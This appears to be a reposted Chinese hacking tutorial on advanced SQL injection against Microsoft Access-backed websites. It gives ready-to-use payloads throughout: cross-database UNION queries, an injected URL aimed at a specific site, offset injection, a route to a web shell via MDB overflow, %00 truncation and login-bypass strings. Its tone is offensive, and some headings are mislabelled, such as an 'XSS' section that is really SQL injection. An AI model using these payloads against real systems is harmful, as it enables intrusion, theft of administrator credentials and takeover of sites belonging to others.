Access高级玩法经验解说

时间:2016-06-07 15:16:38 来源:互联网 作者: 神秘的大神 字体:

1.Access跨库查询. http://www.wooyun.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [C:\root\data\%23db1.asp].admin 条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询. [C:\root\data\%23db1.asp]为数据库 admin为数


1.Access跨库查询.

http://www.wooyun.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [C:\root\data\%23db1.asp].admin

条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询.

[C:\root\data\%23db1.asp]为数据库

admin为数据库中的表

user为数据库中admin表的段.

NBSI(牛逼死了) 工具可以智能化使用.

2.利用XSS

我不只有注入点不知道表的话.

http://www.51qljr.com/xinxi/shownews.asp?id=(575)And(1)=(2)UNION%0DSELECT%0D1,chr(116)%2bchr(101)%2bchr(115)%2bchr(116),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17&id=18%0Dfrom%0DMSysAccessObjects

test的chr代码~~~~~

MSysAccessObjects 为系统表

我们的代码跨管理员吧 哈哈~

3.Access偏移注入

简单说下偏移注入原理:

1.Union合并查询需要列相等,顺序一样;

2.select * from admin as a inner join admin as b on a.id=b.id 这句话请大家理解下,就是说把admin表记为a,同时也记为b,然后查

询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。

3. *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段

举个例子:admin有5列,那么union select 1,2,3,* from admin如果返回正常,就代表注入的表有8列 (5+3=8)

看看90sec haxsscker同学的文章

例子2:红黑联盟

3.Access溢出

总结一下,MDB溢出+跨库 得Shell的方法必须要有的条件:

1.要有网站绝对路径

2,要有上传点,随便什么格式都行 (后来发现即使不是MDB后缀,只要格式正确都能够用跨库连接)

3.当然,还要有注入点(或者你进了后台能执行SQL语句)

对于ACCESS跨库的一些思考 ACCESS数据库溢出 MDB数据库溢出 (里面说的跨库查询还有什么Union查询我第一个介绍过了.)

Microsoft Data Access 组件数据源名缓冲区溢出漏洞

4.其他一点思路

1)ACCESS高级注入利用技巧 (执行命令等)

2)Access注入导出文件 (注入导出文件,配合IIS解释漏洞)

附:lake2

3)Access基础到高级的利用 (文章很一般)

4)%00 Access截断字符 (你们知道吗?)

5)一先奇葩的注入:

用户名输入:

' UNION SELECT 1,1,1 FROM admin(为表) WHERE ''=' //1,1,1为字段数量,大家盲打试试....

密码输入:1

或者用户名输入:

UNION SELECT 1,1,1 AS pwd(密码字段) FROM admin(为表) WHERE ''='

//我们把列的数量都打为1;如admin表中;我们把两个不知道的和pwd列设为1 那么程序漏洞代码 if pwd=rs("pwd") then...(1=1,密码输入我们能控制.)

密码输入:1

就成功绕过了!

' 是闭合络.

也可以:' UNION SELECT 1,1,1 FROM admin%00 //截断

还可以: UNION SELECT 1,1,1 AS pwd%00 //截断不需要表段,select 强制插入两个没有名字,一个用as关键字给别名为pwd的列!!!